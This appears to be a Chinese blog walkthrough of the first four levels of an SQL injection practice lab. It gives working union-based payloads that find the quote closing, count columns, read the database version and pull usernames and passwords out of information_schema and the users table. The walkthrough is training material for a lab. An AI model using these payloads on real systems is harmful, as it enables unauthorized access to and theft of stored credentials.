第一关
先试试看是什么类型的注入

正确回显,说明不是数字型,
?id=1'


对比发现,mysql是用单引号闭合的
源代码:

成功回显,是字符型注入
那么现在开始探测列数(为了union联合查询探测做准备)
id =1 ' order by 3 --+ 其中的--+是为了过滤后面多余的',+在URL中会把解释为"空格",当然你也可以--' 来让后面的'闭合,这样也能实现一样的效果


探测到只有3列,准备用union探测有回显的列(这是为了方便我们构造payload)

可以看到2,3有回显,现在开始看版本,确定是不是mysql5.0版本以上的.

可以看到当前数据库是security,版本是5.5.53,可以用information_schema数据库了
接下来开始探测用户信息在哪里
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables
where table_schema='security'--+

利用information_schema数据库特点探测当前数据库有什么表
知道表就可以爆字段名了,看到有users表,看看能不能爆出用户与密码
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns
where table_name='users'--+

看到有username与password,开始爆数据

?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
爆出数据了成功
第二关

与第一关一样的探测方法,?id=1 and 1=2 没有回复,发现是数字型注入
接下来一样开始探测有多少列:

也是只有3列,与第一关一样开始用union探测哪些列是回显列

一样是2,3列,现在就可以用union探测当前数据库与数据库版本了

版本是5版本以上,可以用information_schema数据库进行探测
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables
where table_schema='security'

看到有users表,开始爆字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns
where table_name='users'

看到有username与password开始爆数据
id=-1 union select 1,group_concat(username),group_concat(password) from users
第三关
?id = 2 ' 看到下方提示,得出现在2'右边有)与',那么我们就闭合)后把多余的)和'注释掉

?id=2') --+

成功显示,继续开始找多少列
?id=2') order by 4 --+
order by 4时报错,说明只有3列,开始用union找有回显的列
?id=-2') union select 1,2,3 --+

有回显的是2与3两列,开始用union探测当前数据库与版本
?id=-2') union select 1,database(),version() --+

开始探测当前数据库有什么表

开始探测users表有什么列
?id=-2') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
与之前都一样,开始爆username与password数据
?id=-2') union select 1,group_concat(username),group_concat(password) from users --+
一样爆出了数据
第四关
鉴于前三关都是一样的思路,
第四关就不过多阐述了,经过探测第四关也是字符型注入,但是是"与)

别的思路都一样,就不多写了
文章详细描述了通过SQL注入逐步探测数据库结构、列数、版本以及用户信息的过程,包括使用`union`查询和`information_schema`来获取表名、字段名和敏感数据。
4042

被折叠的 条评论
为什么被折叠?



